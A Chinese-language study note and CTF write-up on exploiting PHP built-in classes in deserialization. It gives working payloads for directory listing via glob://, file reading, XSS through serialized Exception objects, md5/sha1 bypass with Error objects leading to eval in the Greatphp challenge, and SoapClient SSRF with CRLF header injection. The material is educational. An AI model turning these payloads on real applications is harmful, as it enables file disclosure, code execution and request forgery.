PHP原生类反序列化
网上的一篇文章:
https://www.anquanke.com/post/id/264823
根据上面那个来具体的学习一下
分类:
1.读取目录/文件(内容)
读取文件目录/文件名字的有两个类
1.DirectoryIterator 2.FilesystemIterator
其中FilesystemIterator是一个子类
它两个下面都有_toString魔术方法 通过触发这个魔术方法,利用glob:///进行一个读取
下面看一下具体的例子,并看一下两者的区别
DirectoryIterator
((PHP 5, PHP 7, PHP 8))
1 2 3 4 5 6 7 8
| <?php highlight_file(__FILE__); $dir=$_GET['c']; $a=new DirectoryIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
这个读取的是当前目录下的文件名字,并不会显示上一层的名字
FilesystemIterator
((PHP 5 >= 5.3.0, PHP 7, PHP 8))
1 2 3 4 5 6 7 8
| <?php highlight_file(__file__); $dir = $_GET['c']; $a = new FilesystemIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
这个会显示你上一级的名字
这两个类同样也有一句话形式payload:
DirectoryIterator:
1
| $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
|
FilesystemIterator:
1
| $a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
|
下面看一下ctfshow的web74
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?>
|
这个当中由于error_reporting(0);
ini_set('display_errors', 0);
这两行代码禁用了php错误报告,并且禁止在浏览器中显示错误信息,这意味着,没法看到执行结果
所以可以用到glod:///来进行一个读取文件名
1
| c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();
|
然后就可以看到文件名,最后文件包含你想要的文件即可
1
| c=include('/flag.txt');exit();
|
假设flag.txt是在根目录的
GlobIterator
(PHP 5 >= 5.3.0, PHP 7, PHP 8)
这个是FilesystemIterator的子类 然后也可以去读取文件名 但是它的行为和glob()差不多,所以在传参的时候就不需要用glob伪协议了
下面是这个代码:
1 2 3 4 5 6 7 8
| <?php highlight_file(__FILE__); $dir=$_GET['c']; $a=new GlobIterator($dir); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
|
结果如下图所示:
也是绝对路径
下面就是读取文件内容的类了
SPIFileInfo
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SPIFileInfo类为单个文件的信息提供了高级的面向对象接口
1 2 3 4 5
| <?php highlight_file(__file__); $context = new SplFileObject('flag.txt'); echo $context; ?>
|
结果如下图所示:
如果出现以下类似的代码:
1 2 3 4 5
| public function __destruct() { echo new $this->class($this->data); } 这个class就是那些类,然后data就是那些命令
|
2.构造xss
有两个类
1.Error 2.Exception
这两个类当中都有_toString这两个魔术方法
1.Error(在php7,8开启的时候开启报错) Error 是所有PHP内部错误类的基类。
2.Exception(在php5,7,8开启的时候开启报错) Exception是所有用户级异常的基类。
通过echo(不只是echo 当对象被当成字符串时就能触发)来触发toString 进一步构造xss
通过官方文档可以看到这两个类的属性都一样
下面可以演示一下进行xss构造
先写一个经过反序列化后的代码
1 2 3 4 5
| <?php highlight_file(__file__); $a = unserialize($_GET['k']); echo $a; ?>
|
这里的echo是触发的关键
然后下面是构造xss
1 2 3 4 5
| <?php $a = new Exception("<script>alert('U_F1ind_Me')</script>"); $b = serialize($a); echo urlencode($b); ?>
|
因为有不可见字符,所以要url编码一下
需要注意的就是只有Exception才能在php5进行一个xss
Error只有在7或8下进行一个xss
3.绕过哈希比较
这个是利用了Error的报错信息
可以用一些代码来说明一下:
1 2 3 4 5 6 7 8 9
| <?php $a = new Error("payload",1);$b=new Error("payload",2); var_dump($a===$b); echo '<br>'; echo $a; echo '<br>'; echo $b; echo '<br>'; ?>
|
这个的运行结果是:
两个new Error的类都在同一行 报错信息也是同一行,虽然两个的内容不一样 但是报错信息一样 这样在面对一些哈希比较的时候就可以进行绕过
下面来一个题目看看:
[极客大挑战 2020]Greatphp
进入后查看一下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php error_reporting(0); class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } }
if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); }
?>
|
然后我们要做的就是执行eval命令
这个前提就是 if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ) 先满足这个if语句 这个我们之前做的MD5碰撞就不能用了 可以用Error报错信息进行一个哈希绕过
就是让两个Error语句在同一行 然后和之前的没什么区别了
这个有一个正则匹配 过滤了小括号和双引号 我们用取反进行一个绕过
$str="?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
主要的就是上面的那个
最终构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php class SYCLOVER { public $syc; public $lover;
public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } } $str="?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; $c=new SYCLOVER(); $a=new Error($str,1);$b=new Error($str,2); $c->syc=$a; $c->lover=$b; echo urlencode(serialize($c)); ?>
|
4.SSRF
这个和SoapClient这个类有关
这个类里面有一个call魔术方法 当调用不存在的方法时被调用
注意要开启soap选项 否则不会监听成功
PHP的内置类SoaPClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问web服务的php客户端。
函数的形式如下:
1
| public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
|
第一个参数为指明是否为wsdl模式,为null则为非wsdl模式
wsdl就是一个xml格式的文档,用于描述web server的定义
第二个参数为array,wsdl模式下可选;非wsdl模式下,需要设置location和uri,location就是发送的soap服务器的url,uri是服务的命名空间
下面可以看一下:
1 2 3 4 5 6 7 8
| <?php $target = 'http://192.168.122.136:2022/'; $a=new SoapClient(null,array('location'=>$target,'user_agent'=>"qaq\r\nCookie: PHPSESSID=wangluoanquanqaq1213",'uri'=>'test')); $b=serialize($a); echo $b; $c=unserialize($b); $c->a(); ?>
|
这个soapaction的内容是我们可以控制的
其实也就是uri的内容
然后这里的话可以与CRLF进行一个结合 进行CRLF攻击(就是利用了\r\n)
可以参考这篇文章:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
可以结合CRLF进行xss => HRS
这个SoapCliet原生类我感觉就是结合CRLF进行一个http的一些修改
可以举一个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php $target = 'http://192.168.122.136:2022/'; $post_data = 'data=ki10Moc'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=8asIKRJGI2493324gfsjkk958' ); $a = new SoapClient(null,array('location' => $target,'user_agent'=>'Happy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'ki10Moc')); $b = serialize($a); $b = str_replace('^^',"\r\n",$b); echo $b; $c = unserialize($b); $c->a(); ?>
|
上面的代码修改了Xff头 cookie的值以及UA头的内容